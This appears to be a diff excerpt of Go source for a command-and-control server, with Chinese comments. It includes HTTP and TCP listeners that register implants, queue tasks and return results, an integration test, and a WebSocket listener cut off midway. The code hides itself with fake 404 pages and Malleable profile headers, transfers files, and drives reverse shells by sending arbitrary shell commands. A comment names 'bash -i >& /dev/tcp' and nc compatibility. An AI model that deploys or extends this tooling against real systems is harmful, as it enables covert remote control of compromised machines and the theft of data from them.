mux.HandleFunc(l.cfg.BeaconFilePath, l.withProfileHeaders(l.handleFileServe))
addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort)
l.srv = &http.Server{
Addr: addr,
Handler: mux,
ReadHeaderTimeout: 15 * time.Second,
ReadTimeout: 60 * time.Second,
WriteTimeout: 120 * time.Second,
IdleTimeout: 300 * time.Second,
}
ln, err := net.Listen("tcp", addr)
if err != nil {
if isAddrInUse(err) {
return ErrPortInUse
}
return err
}
if l.useTLS {
tlsConfig, err := l.buildTLSConfig()
if err != nil {
_ = ln.Close()
return fmt.Errorf("build TLS config: %w", err)
}
l.srv.TLSConfig = tlsConfig
go func() {
if err := l.srv.ServeTLS(ln, "", ""); err != nil && !errors.Is(err, http.ErrServerClosed) {
l.logger.Warn("https_beacon ServeTLS exited", zap.Error(err))
}
}()
} else {
go func() {
if err := l.srv.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) {
l.logger.Warn("http_beacon Serve exited", zap.Error(err))
}
}()
}
return nil
}
// Stop 关闭
func (l *HTTPBeaconListener) Stop() error {
l.mu.Lock()
if l.stopped {
l.mu.Unlock()
return nil
}
l.stopped = true
close(l.stopCh)
l.mu.Unlock()
if l.srv != nil {
ctx, cancel := contextWithTimeout(5 * time.Second)
defer cancel()
_ = l.srv.Shutdown(ctx)
}
return nil
}
// ----------------------------------------------------------------------------
// HTTP handlers
// ----------------------------------------------------------------------------
func (l *HTTPBeaconListener) handleCheckIn(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
if !l.checkImplantToken(r) {
l.disguisedReject(w)
return
}
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 1<<20))
if err != nil {
http.Error(w, "read failed", http.StatusBadRequest)
return
}
// 尝试 AES-GCM 解密(完整 beacon 二进制走加密通道)
var req ImplantCheckInRequest
plaintext, decErr := DecryptAESGCM(l.rec.EncryptionKey, string(body))
if decErr == nil {
if err := json.Unmarshal(plaintext, &req); err != nil {
l.disguisedReject(w)
return
}
} else {
// 解密失败:尝试当作明文 JSON(兼容 curl oneliner 等轻量级客户端)
if err := json.Unmarshal(body, &req); err != nil {
l.disguisedReject(w)
return
}
}
isPlaintext := decErr != nil
if req.UserAgent == "" {
req.UserAgent = r.UserAgent()
}
if req.SleepSeconds <= 0 {
req.SleepSeconds = l.cfg.DefaultSleep
}
// curl oneliner 可能不携带完整字段,用 remote IP + listener ID 生成稳定标识
host, _, _ := net.SplitHostPort(r.RemoteAddr)
if strings.TrimSpace(req.ImplantUUID) == "" {
// 基于 IP + listener ID 生成稳定 UUID,同一 IP 多次 check_in 复用同一会话
req.ImplantUUID = fmt.Sprintf("curl_%s_%s", host, shortHash(host+l.rec.ID))
}
if strings.TrimSpace(req.Hostname) == "" {
req.Hostname = "curl_" + host
}
if strings.TrimSpace(req.InternalIP) == "" {
req.InternalIP = host
}
if strings.TrimSpace(req.OS) == "" {
req.OS = "unknown"
}
if strings.TrimSpace(req.Arch) == "" {
req.Arch = "unknown"
}
session, err := l.manager.IngestCheckIn(l.rec.ID, req)
if err != nil {
http.Error(w, "ingest failed", http.StatusInternalServerError)
return
}
queued, _ := l.manager.DB().ListC2Tasks(database.ListC2TasksFilter{
SessionID: session.ID,
Status: string(TaskQueued),
Limit: 1,
})
resp := ImplantCheckInResponse{
SessionID: session.ID,
NextSleep: session.SleepSeconds,
NextJitter: session.JitterPercent,
HasTasks: len(queued) > 0,
ServerTime: time.Now().UnixMilli(),
}
if isPlaintext {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(resp)
} else {
l.writeEncrypted(w, resp)
}
}
func (l *HTTPBeaconListener) handleTasks(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
if !l.checkImplantToken(r) {
l.disguisedReject(w)
return
}
sessionID := r.URL.Query().Get("session_id")
if sessionID == "" {
l.disguisedReject(w)
return
}
session, err := l.manager.DB().GetC2Session(sessionID)
if err != nil || session == nil {
l.disguisedReject(w)
return
}
envelopes, err := l.manager.PopTasksForBeacon(sessionID, 50)
if err != nil {
http.Error(w, "pop tasks failed", http.StatusInternalServerError)
return
}
if envelopes == nil {
envelopes = []TaskEnvelope{}
}
resp := map[string]interface{}{"tasks": envelopes}
if l.isPlaintextClient(r) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(resp)
} else {
l.writeEncrypted(w, resp)
}
}
func (l *HTTPBeaconListener) handleResult(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
if !l.checkImplantToken(r) {
l.disguisedReject(w)
return
}
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 64<<20))
if err != nil {
http.Error(w, "read failed", http.StatusBadRequest)
return
}
var report TaskResultReport
plaintext, decErr := DecryptAESGCM(l.rec.EncryptionKey, string(body))
if decErr == nil {
if err := json.Unmarshal(plaintext, &report); err != nil {
l.disguisedReject(w)
return
}
} else {
if err := json.Unmarshal(body, &report); err != nil {
l.disguisedReject(w)
return
}
}
if err := l.manager.IngestTaskResult(report); err != nil {
http.Error(w, "ingest result failed", http.StatusInternalServerError)
return
}
resp := map[string]string{"ok": "1"}
if l.isPlaintextClient(r) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(resp)
} else {
l.writeEncrypted(w, resp)
}
}
// handleUpload 实现 implant 主动上传文件给服务端(如 download 任务的二进制结果)。
// Body 为 AES-GCM 加密后的 base64,与 check-in/result 保持一致的安全策略。
func (l *HTTPBeaconListener) handleUpload(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
if !l.checkImplantToken(r) {
l.disguisedReject(w)
return
}
taskID := r.URL.Query().Get("task_id")
if taskID == "" {
l.disguisedReject(w)
return
}
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 256<<20))
if err != nil {
http.Error(w, "read failed", http.StatusBadRequest)
return
}
plaintext, err := DecryptAESGCM(l.rec.EncryptionKey, string(body))
if err != nil {
l.disguisedReject(w)
return
}
dir := filepath.Join(l.manager.StorageDir(), "uploads")
if err := os.MkdirAll(dir, 0o755); err != nil {
http.Error(w, "mkdir failed", http.StatusInternalServerError)
return
}
dst := filepath.Join(dir, taskID+".bin")
if err := os.WriteFile(dst, plaintext, 0o644); err != nil {
http.Error(w, "save failed", http.StatusInternalServerError)
return
}
l.writeEncrypted(w, map[string]interface{}{"ok": 1, "size": len(plaintext)})
}
// handleFileServe 实现服务端 → implant 的文件下发(upload 任务用)。
// 路径形如 /file/<task_id>,文件内容经 AES-GCM 加密后返回。
func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
if !l.checkImplantToken(r) {
l.disguisedReject(w)
return
}
prefix := l.cfg.BeaconFilePath
taskID := strings.TrimPrefix(r.URL.Path, prefix)
if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
l.disguisedReject(w)
return
}
fpath := filepath.Join(l.manager.StorageDir(), "downstream", taskID+".bin")
absPath, err := filepath.Abs(fpath)
if err != nil {
l.disguisedReject(w)
return
}
absDir, err := filepath.Abs(filepath.Join(l.manager.StorageDir(), "downstream"))
if err != nil || !strings.HasPrefix(absPath, absDir+string(filepath.Separator)) {
l.disguisedReject(w)
return
}
data, err := os.ReadFile(absPath)
if err != nil {
l.disguisedReject(w)
return
}
l.writeEncrypted(w, map[string]interface{}{
"file_data": base64Encode(data),
})
}
// ----------------------------------------------------------------------------
// 鉴权 / 输出辅助
// ----------------------------------------------------------------------------
// checkImplantToken 校验 X-Implant-Token header(恒定时间比较防止时序攻击)
func (l *HTTPBeaconListener) checkImplantToken(r *http.Request) bool {
got := r.Header.Get("X-Implant-Token")
if got == "" {
got = r.Header.Get("Cookie") // 兼容 Malleable Profile 用 Cookie 携带
}
expected := l.rec.ImplantToken
if got == "" || expected == "" {
return false
}
return subtle.ConstantTimeCompare([]byte(got), []byte(expected)) == 1
}
// disguisedReject 鉴权失败时返回 404,避免暴露 listener 是 C2
func (l *HTTPBeaconListener) disguisedReject(w http.ResponseWriter) {
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.WriteHeader(http.StatusNotFound)
_, _ = fmt.Fprint(w, "<html><body><h1>404 Not Found</h1></body></html>")
}
// writeEncrypted JSON 序列化 + AES-GCM 加密 + 写回
func (l *HTTPBeaconListener) writeEncrypted(w http.ResponseWriter, payload interface{}) {
body, err := json.Marshal(payload)
if err != nil {
http.Error(w, "encode failed", http.StatusInternalServerError)
return
}
enc, err := EncryptAESGCM(l.rec.EncryptionKey, body)
if err != nil {
http.Error(w, "encrypt failed", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
_, _ = w.Write([]byte(enc))
}
// loadProfile loads Malleable Profile from DB if the listener has a profile_id configured
func (l *HTTPBeaconListener) loadProfile() {
if l.rec.ProfileID == "" {
return
}
profile, err := l.manager.GetProfile(l.rec.ProfileID)
if err != nil || profile == nil {
l.logger.Warn("加载 Malleable Profile 失败,使用默认配置",
zap.String("profile_id", l.rec.ProfileID), zap.Error(err))
return
}
l.profile = profile
l.logger.Info("Malleable Profile 已加载",
zap.String("profile_id", profile.ID),
zap.String("profile_name", profile.Name),
zap.String("user_agent", profile.UserAgent))
}
// withProfileHeaders wraps a handler to inject Malleable Profile response headers
func (l *HTTPBeaconListener) withProfileHeaders(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
if l.profile != nil && len(l.profile.ResponseHeaders) > 0 {
for k, v := range l.profile.ResponseHeaders {
w.Header().Set(k, v)
}
}
next(w, r)
}
}
// ----------------------------------------------------------------------------
// TLS 自签证书(仅供测试 / Phase 2 默认行为)
// ----------------------------------------------------------------------------
func (l *HTTPBeaconListener) buildTLSConfig() (*tls.Config, error) {
// 操作员显式提供证书 → 优先使用
if l.cfg.TLSCertPath != "" && l.cfg.TLSKeyPath != "" {
cert, err := tls.LoadX509KeyPair(l.cfg.TLSCertPath, l.cfg.TLSKeyPath)
if err == nil {
return &tls.Config{Certificates: []tls.Certificate{cert}, MinVersion: tls.VersionTLS12}, nil
}
l.logger.Warn("加载 TLS 证书失败,回退自签", zap.Error(err))
}
// 自签证书:CN 用 listener 名,避免重复
cert, err := generateSelfSignedCert(l.rec.Name)
if err != nil {
return nil, err
}
return &tls.Config{Certificates: []tls.Certificate{cert}, MinVersion: tls.VersionTLS12}, nil
}
func generateSelfSignedCert(cn string) (tls.Certificate, error) {
priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
return tls.Certificate{}, err
}
serial, _ := rand.Int(rand.Reader, big.NewInt(1<<62))
tmpl := &x509.Certificate{
SerialNumber: serial,
Subject: pkix.Name{CommonName: cn},
NotBefore: time.Now().Add(-1 * time.Hour),
NotAfter: time.Now().Add(365 * 24 * time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
IPAddresses: []net.IP{net.ParseIP("127.0.0.1")},
DNSNames: []string{"localhost"},
}
der, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
if err != nil {
return tls.Certificate{}, err
}
keyDER, err := x509.MarshalECPrivateKey(priv)
if err != nil {
return tls.Certificate{}, err
}
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der})
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
return tls.X509KeyPair(certPEM, keyPEM)
}
func base64Encode(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
func shortHash(s string) string {
h := sha256.Sum256([]byte(s))
return hex.EncodeToString(h[:6])
}
// isPlaintextClient 判断请求是否来自明文客户端(curl oneliner 等)
// 完整 beacon 二进制会设置 Content-Type: application/octet-stream
func (l *HTTPBeaconListener) isPlaintextClient(r *http.Request) bool {
ct := r.Header.Get("Content-Type")
accept := r.Header.Get("Accept")
return strings.Contains(ct, "application/json") ||
strings.Contains(accept, "application/json") ||
strings.Contains(r.UserAgent(), "curl/")
}
// ApplyJitter 给定基础 sleep + jitter 百分比,返回随机抖动后的 duration
// 公开给 listener_websocket / payload 模板共用,避免重复实现
func ApplyJitter(baseSec, jitterPercent int) time.Duration {
if baseSec <= 0 {
return 0
}
if jitterPercent <= 0 {
return time.Duration(baseSec) * time.Second
}
if jitterPercent > 100 {
jitterPercent = 100
}
delta := mrand.Intn(2*jitterPercent+1) - jitterPercent // [-j, +j]
factor := 1.0 + float64(delta)/100.0
return time.Duration(float64(baseSec)*factor) * time.Second
}
+129
View File
@@ -0,0 +1,129 @@
package c2
import (
"bytes"
"encoding/json"
"io"
"net"
"net/http"
"path/filepath"
"strconv"
"strings"
"testing"
"time"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
// 集成验证:路由、鉴权伪装 404、明文 check-in JSON 回包。
func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
tmp := t.TempDir()
dbPath := filepath.Join(tmp, "c2.sqlite")
db, err := database.NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = db.Close() })
lnPick, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
port := lnPick.Addr().(*net.TCPAddr).Port
_ = lnPick.Close()
keyB64, err := GenerateAESKey()
if err != nil {
t.Fatal(err)
}
token := "test-implant-token-fixed"
lid := "l_testhttpbeacon01"
rec := &database.C2Listener{
ID: lid,
Name: "t",
Type: string(ListenerTypeHTTPBeacon),
BindHost: "127.0.0.1",
BindPort: port,
EncryptionKey: keyB64,
ImplantToken: token,
Status: "stopped",
ConfigJSON: `{"beacon_check_in_path":"/check_in"}`,
CreatedAt: time.Now(),
}
if err := db.CreateC2Listener(rec); err != nil {
t.Fatal(err)
}
m := NewManager(db, zap.NewNop(), filepath.Join(tmp, "c2store"))
m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
if _, err := m.StartListener(lid); err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = m.StopListener(lid) })
base := "http://127.0.0.1:" + strconv.Itoa(port)
client := &http.Client{Timeout: 5 * time.Second}
t.Run("wrong_path_go_default_404", func(t *testing.T) {
resp, err := client.Post(base+"/nope", "application/json", strings.NewReader(`{}`))
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
b, _ := io.ReadAll(resp.Body)
if resp.StatusCode != http.StatusNotFound {
t.Fatalf("status=%d body=%q", resp.StatusCode, b)
}
if !strings.Contains(string(b), "404") || !strings.Contains(strings.ToLower(string(b)), "not found") {
t.Fatalf("unexpected body: %q", b)
}
})
t.Run("check_in_wrong_token_disguised_html_404", func(t *testing.T) {
req, _ := http.NewRequest(http.MethodPost, base+"/check_in", bytes.NewBufferString(`{"hostname":"h"}`))
req.Header.Set("X-Implant-Token", "wrong-token")
req.Header.Set("Content-Type", "application/json")
resp, err := client.Do(req)
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
b, _ := io.ReadAll(resp.Body)
if resp.StatusCode != http.StatusNotFound {
t.Fatalf("status=%d", resp.StatusCode)
}
ct := resp.Header.Get("Content-Type")
if !strings.Contains(ct, "text/html") {
t.Fatalf("content-type=%q body=%q", ct, b)
}
if !strings.Contains(string(b), "404 Not Found") {
t.Fatalf("expected disguised HTML, got: %q", b)
}
})
t.Run("check_in_ok_plaintext_json", func(t *testing.T) {
body := `{"hostname":"n","username":"u","os":"Linux","arch":"amd64","internal_ip":"10.0.0.1","pid":42}`
req, _ := http.NewRequest(http.MethodPost, base+"/check_in", strings.NewReader(body))
req.Header.Set("X-Implant-Token", token)
req.Header.Set("Content-Type", "application/json")
resp, err := client.Do(req)
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
b, _ := io.ReadAll(resp.Body)
if resp.StatusCode != http.StatusOK {
t.Fatalf("status=%d body=%s", resp.StatusCode, b)
}
var out ImplantCheckInResponse
if err := json.Unmarshal(b, &out); err != nil {
t.Fatalf("json: %v body=%s", err, b)
}
if out.SessionID == "" || out.NextSleep <= 0 {
t.Fatalf("bad response: %+v", out)
}
})
}
+439
View File
@@ -0,0 +1,439 @@
package c2
import (
"bufio"
"context"
"crypto/sha256"
"encoding/hex"
"fmt"
"io"
"net"
"regexp"
"strings"
"sync"
"sync/atomic"
"time"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
// TCPReverseListener 监听 TCP 端口,等待目标机反弹连接。
// 经典模式:纯交互式 raw shell,与 nc / bash -i >& /dev/tcp 兼容。
// 二进制 Beacon:连接后先发送魔数 CSB1,随后使用与 HTTP Beacon 相同的 AES-GCM JSON 语义(成帧见 tcp_beacon_server.go)。
// 每个新连接自动生成一个 implant_uuid(基于远端地址 + 启动时间 hash),登记为 c2_session
// 任务派发:使用同步 exec 模式 —— 收到 task 时直接 send 命令字节并读取输出(带结束标记)。
type TCPReverseListener struct {
rec *database.C2Listener
cfg *ListenerConfig
manager *Manager
logger *zap.Logger
mu sync.Mutex
listener net.Listener
stopCh chan struct{}
conns map[string]*tcpReverseConn // session_id → 连接
stopOnce sync.Once
}
// tcpReverseConn 单个反弹会话的运行时状态
type tcpReverseConn struct {
sessionID string
conn net.Conn
reader *bufio.Reader
writeMu sync.Mutex // 序列化 write,避免并发 task 写入
taskMode int32 // 原子标志: 0=空闲(handleConn读), 1=任务中(runTaskOnConn独占读)
}
// NewTCPReverseListener 工厂方法(注册到 ListenerRegistry["tcp_reverse"]
func NewTCPReverseListener(ctx ListenerCreationCtx) (Listener, error) {
return &TCPReverseListener{
rec: ctx.Listener,
cfg: ctx.Config,
manager: ctx.Manager,
logger: ctx.Logger,
stopCh: make(chan struct{}),
conns: make(map[string]*tcpReverseConn),
}, nil
}
// Type 返回类型常量
func (l *TCPReverseListener) Type() string { return string(ListenerTypeTCPReverse) }
// Start 启动 TCP 监听,accept 在独立 goroutine 中运行
func (l *TCPReverseListener) Start() error {
addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort)
ln, err := net.Listen("tcp", addr)
if err != nil {
if isAddrInUse(err) {
return ErrPortInUse
}
return err
}
l.mu.Lock()
l.listener = ln
l.mu.Unlock()
go l.acceptLoop()
go l.taskDispatcherLoop()
return nil
}
// Stop 关闭监听 + 所有活动连接
func (l *TCPReverseListener) Stop() error {
l.stopOnce.Do(func() {
close(l.stopCh)
})
l.mu.Lock()
if l.listener != nil {
_ = l.listener.Close()
l.listener = nil
}
for sid, c := range l.conns {
_ = c.conn.Close()
delete(l.conns, sid)
}
l.mu.Unlock()
return nil
}
func (l *TCPReverseListener) acceptLoop() {
for {
l.mu.Lock()
ln := l.listener
l.mu.Unlock()
if ln == nil {
return
}
conn, err := ln.Accept()
if err != nil {
select {
case <-l.stopCh:
return
default:
}
if isClosedConnErr(err) {
return
}
l.logger.Warn("tcp_reverse accept 失败", zap.Error(err))
continue
}
go l.handleConn(conn)
}
}
// handleConn 一个连接=一个会话:先识别二进制 TCP Beacon(魔数 CSB1),否则走经典交互式 shell。
func (l *TCPReverseListener) handleConn(conn net.Conn) {
br := bufio.NewReader(conn)
_ = conn.SetReadDeadline(time.Now().Add(20 * time.Second))
prefix, err := br.Peek(4)
if err == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic {
if _, err := br.Discard(4); err != nil {
_ = conn.Close()
return
}
_ = conn.SetReadDeadline(time.Time{})
l.handleTCPBeaconSession(conn, br)
return
}
_ = conn.SetReadDeadline(time.Time{})
l.handleShellConn(conn, br)
}
// handleShellConn 经典裸 TCP 反弹 shell(与 nc/bash /dev/tcp 兼容)。
func (l *TCPReverseListener) handleShellConn(conn net.Conn, br *bufio.Reader) {
remote := conn.RemoteAddr().String()
host, _, _ := net.SplitHostPort(remote)
// 用 listener+remote_ip 生成稳定 implant_uuid,使同一来源的重连复用同一会话
uuidSeed := fmt.Sprintf("%s|%s", l.rec.ID, host)
hash := sha256.Sum256([]byte(uuidSeed))
implantUUID := hex.EncodeToString(hash[:8])
checkin := ImplantCheckInRequest{
ImplantUUID: implantUUID,
Hostname: "tcp_" + host,
Username: "unknown",
OS: "unknown",
Arch: "unknown",
InternalIP: host,
SleepSeconds: 0, // 交互式不需要 sleep
JitterPercent: 0,
Metadata: map[string]interface{}{
"transport": "tcp_reverse",
"remote": remote,
},
}
session, err := l.manager.IngestCheckIn(l.rec.ID, checkin)
if err != nil {
l.logger.Warn("tcp_reverse 登记会话失败", zap.Error(err))
_ = conn.Close()
return
}
tc := &tcpReverseConn{
sessionID: session.ID,
conn: conn,
reader: br,
}
l.mu.Lock()
if old, exists := l.conns[session.ID]; exists {
_ = old.conn.Close()
}
l.conns[session.ID] = tc
l.mu.Unlock()
defer func() {
l.mu.Lock()
if cur, ok := l.conns[session.ID]; ok && cur == tc {
delete(l.conns, session.ID)
_ = l.manager.MarkSessionDead(session.ID)
}
l.mu.Unlock()
_ = conn.Close()
}()
// 主循环:检测连接存活 + 读取非任务期间的 unsolicited 输出
// 注意:必须统一使用 tc.reader 读取,避免与 runTaskOnConn 的 bufio.Reader 产生数据分裂
buf := make([]byte, 4096)
for {
select {
case <-l.stopCh:
return
default:
}
// 任务执行中,runTaskOnConn 独占读取权,主循环暂停
if atomic.LoadInt32(&tc.taskMode) == 1 {
time.Sleep(100 * time.Millisecond)
continue
}
_ = conn.SetReadDeadline(time.Now().Add(60 * time.Second))
n, err := tc.reader.Read(buf)
if n > 0 {
// 收到数据也刷新心跳
_ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now())
if atomic.LoadInt32(&tc.taskMode) == 0 {
l.manager.publishEvent("info", "task", session.ID, "",
"stdout(unsolicited)", map[string]interface{}{
"output": string(buf[:n]),
})
}
}
if err != nil {
if err == io.EOF || isClosedConnErr(err) {
return
}
if ne, ok := err.(net.Error); ok && ne.Timeout() {
// 读超时 = 连接仍存活但无数据,刷新心跳防止看门狗误判
_ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now())
continue
}
return
}
}
}
// taskDispatcherLoop 周期扫描所有活动会话的任务队列,下发 exec/shell 类型的同步命令
func (l *TCPReverseListener) taskDispatcherLoop() {
t := time.NewTicker(500 * time.Millisecond)
defer t.Stop()
for {
select {
case <-l.stopCh:
return
case <-t.C:
l.mu.Lock()
snapshot := make([]*tcpReverseConn, 0, len(l.conns))
for _, c := range l.conns {
snapshot = append(snapshot, c)
}
l.mu.Unlock()
for _, c := range snapshot {
envelopes, err := l.manager.PopTasksForBeacon(c.sessionID, 5)
if err != nil || len(envelopes) == 0 {
continue
}
for _, env := range envelopes {
go l.runTaskOnConn(c, env)
}
}
}
}
}
// runTaskOnConn 把一条 task 转成 raw shell 命令发送,通过结束标记读输出
func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope) {
startedAt := NowUnixMillis()
cmd, ok := buildTCPCommand(TaskType(env.TaskType), env.Payload)
if !ok {
l.reportTaskResult(env.TaskID, startedAt, false, "", "tcp_reverse listener 不支持该任务类型: "+env.TaskType, "", "")
return
}
// 独占读取权:通知 handleConn 主循环暂停
atomic.StoreInt32(&c.taskMode, 1)
defer atomic.StoreInt32(&c.taskMode, 0)
// 等待 handleConn 循环退出读取(给 100ms 让正在进行的 Read 超时/完成)
time.Sleep(150 * time.Millisecond)
// 排空 buffer 中残留的 bash 提示符等数据
drainStaleData(c.reader, c.conn)
endMark := fmt.Sprintf("__C2_DONE_%s__", env.TaskID)
wrapped := fmt.Sprintf("%s\necho %s\n", strings.TrimSpace(cmd), endMark)
c.writeMu.Lock()
_ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second))
if _, err := c.conn.Write([]byte(wrapped)); err != nil {
c.writeMu.Unlock()
l.reportTaskResult(env.TaskID, startedAt, false, "", "写命令失败: "+err.Error(), "", "")
return
}
c.writeMu.Unlock()
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
defer cancel()
output, err := readUntilMarker(ctx, c.reader, endMark)
if err != nil {
l.reportTaskResult(env.TaskID, startedAt, false, output, "读取结果失败: "+err.Error(), "", "")
return
}
cleaned := cleanShellOutput(output, cmd)
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
}
// reportTaskResult 适配 Manager.IngestTaskResult,统一报告路径
func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64, success bool, output, errMsg, blobB64, blobSuffix string) {
_ = l.manager.IngestTaskResult(TaskResultReport{
TaskID: taskID,
Success: success,
Output: output,
Error: errMsg,
BlobBase64: blobB64,
BlobSuffix: blobSuffix,
StartedAt: startedAtMS,
EndedAt: NowUnixMillis(),
})
}
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;upload/download/screenshot 这些
// 需要二进制传输的能力建议使用 http_beacon。
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
switch t {
case TaskTypeExec, TaskTypeShell:
cmd, _ := payload["command"].(string)
return cmd, true
case TaskTypePwd:
return "pwd 2>/dev/null || cd", true
case TaskTypeLs:
path, _ := payload["path"].(string)
if strings.TrimSpace(path) == "" {
path = "."
}
return "ls -la " + shellQuote(path), true
case TaskTypePs:
return "ps -ef 2>/dev/null || ps aux", true
case TaskTypeKillProc:
pid, _ := payload["pid"].(float64)
if pid <= 0 {
return "", false
}
return fmt.Sprintf("kill -9 %d", int(pid)), true
case TaskTypeCd:
path, _ := payload["path"].(string)
if strings.TrimSpace(path) == "" {
return "", false
}
return "cd " + shellQuote(path) + " && pwd", true
case TaskTypeExit:
return "exit 0", true
}
return "", false
}
// readUntilMarker 从 reader 持续读,直到匹配 endMarker;返回去掉标记后的输出
func readUntilMarker(ctx context.Context, r *bufio.Reader, marker string) (string, error) {
var sb strings.Builder
buf := make([]byte, 4096)
deadline := time.Now().Add(60 * time.Second)
for {
select {
case <-ctx.Done():
return sb.String(), ctx.Err()
default:
}
if time.Now().After(deadline) {
return sb.String(), fmt.Errorf("timeout")
}
n, err := r.Read(buf)
if n > 0 {
sb.Write(buf[:n])
if idx := strings.Index(sb.String(), marker); idx >= 0 {
return strings.TrimRight(sb.String()[:idx], "\r\n"), nil
}
}
if err != nil {
return sb.String(), err
}
}
}
func shellQuote(s string) string {
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
}
func isAddrInUse(err error) bool {
if err == nil {
return false
}
return strings.Contains(strings.ToLower(err.Error()), "address already in use") ||
strings.Contains(strings.ToLower(err.Error()), "bind: only one usage")
}
func isClosedConnErr(err error) bool {
if err == nil {
return false
}
es := err.Error()
return strings.Contains(es, "use of closed network connection") ||
strings.Contains(es, "connection reset by peer")
}
// drainStaleData 用短超时读取并丢弃 buffer 中残留的 shell 提示符等数据
func drainStaleData(r *bufio.Reader, conn net.Conn) {
buf := make([]byte, 4096)
for {
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
n, err := r.Read(buf)
if n == 0 || err != nil {
break
}
}
// 恢复较长的读超时
_ = conn.SetReadDeadline(time.Time{})
}
var shellPromptRe = regexp.MustCompile(`(?m)^.*?(bash[\-\d.]*\$|[\$#%>]\s*)$`)
// cleanShellOutput 过滤 bash 提示符行和命令回显,返回干净的命令输出
func cleanShellOutput(raw, cmd string) string {
lines := strings.Split(raw, "\n")
var cleaned []string
cmdTrimmed := strings.TrimSpace(cmd)
echoSkipped := false
for _, line := range lines {
trimmed := strings.TrimRight(line, "\r \t")
// 跳过命令回显行(bash 会 echo 回输入的命令)
if !echoSkipped && cmdTrimmed != "" && strings.Contains(trimmed, cmdTrimmed) {
echoSkipped = true
continue
}
// 跳过纯 shell 提示符行
if shellPromptRe.MatchString(trimmed) && len(strings.TrimSpace(shellPromptRe.ReplaceAllString(trimmed, ""))) == 0 {
continue
}
cleaned = append(cleaned, line)
}
result := strings.Join(cleaned, "\n")
return strings.TrimSpace(result)
}
+297
View File
@@ -0,0 +1,297 @@
package c2
import (
"context"
"crypto/subtle"
"encoding/json"
"errors"
"fmt"
"net"
"net/http"
"sync"
"time"
"cyberstrike-ai/internal/database"
"github.com/gorilla/websocket"
"go.uber.org/zap"
)
// WebSocketListener 提供低延迟的双向 WebSocket Beacon。
// 与 HTTP Beacon 相比:
// - beacon 与服务端保持长连接,无需轮询,新任务可"秒到";
// - 适合需要交互式快速响应的场景(如实时键盘 / 流式输出);
// - 协议依然走 AES-256-GCM,握手时校验 X-Implant-Token
// - 一个 listener 仅处理一个 WS 路径(默认 /ws),但可承载多个并发 implant。
//
// 帧协议(皆为加密后 base64 字符串走 TextMessage):
// client → server{"type":"checkin"|"result", "data": <ImplantCheckInRequest|TaskResultReport>}
// server → client{"type":"task", "data": <TaskEnvelope>} 或 {"type":"sleep","data":{"sleep":N,"jitter":J}}
type WebSocketListener struct {
rec *database.C2Listener
cfg *ListenerConfig
manager *Manager
logger *zap.Logger
srv *http.Server
upgrader websocket.Upgrader
mu sync.Mutex
conns map[string]*wsConn // session_id → 连接
stopped bool
stopCh chan struct{}
}
// wsConn 单个 WS implant 的内存状态
type wsConn struct {
sessionID string
ws *websocket.Conn
writeMu sync.Mutex // websocket 同一连接同一时间只能一个 writer
}
// NewWebSocketListener 工厂(注册到 ListenerRegistry["websocket"]
func NewWebSocketListener(ctx ListenerCreationCtx) (Listener, error) {
